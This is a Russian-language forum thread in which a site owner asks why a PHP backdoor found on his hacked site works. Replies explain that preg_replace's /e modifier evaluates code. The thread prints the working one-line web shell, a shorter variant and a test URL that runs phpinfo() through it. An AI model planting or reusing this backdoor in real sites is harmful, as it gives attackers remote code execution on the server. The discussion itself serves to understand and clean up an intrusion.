Добрый день! Мой сайт был взломан и в его корне размещен следующий код: <?php @preg_replace("/[pageerror]/e",$_GET['ttt'],"saft"); ?> Как ломали я понял, сайт пропатчил. Но я не понял почему работает вышеприведенный код. Поиск по маске "/[pageerror]/e" в строке "saft" и замена на то, что пришло в переменной ttt... Ну и что? Но это работает! Впишите строчку в test.php, загрузите на свой сайт и зайдите на: http://сайт/test.php?ttt=phpinfo(); Ведь работает! Но почему?
от чего патчил, если не понял, как ломали? это звучит как "чем болел - не понял, но лекарство выпил" потому что какого-то хрена /e в регулярках в пхп исполняет код. не знаю, кому это вообще пришло в голову, но исторически это так. В новых версиях это исправили. тут написано https://php.ru/manual/function.preg-replace.html
Я понял каким образом загрузили этот код на сайт и это пропатчил. Но не понял почему работает этот код. ПХП у меня: PHP Version 5.6.36-0+deb8u1. Т.е. PHP ставится и обновляется через репозиторий Debian. Стоят последние обновления. Да и правда /e исполняет код указанный во втором аргументе. )) А я думал магия тут: "/[pageerror]/e" и тут: "saft". А оказалось <?php @preg_replace("/[p]/e",$_GET['ttt'],"p"); ?> - тоже работает! Спасибо!
Тебя и в правду интересует, как работает код или больше интересно, откуда он там взялся ? PHP версии 5,6 это не последние обновления, увы.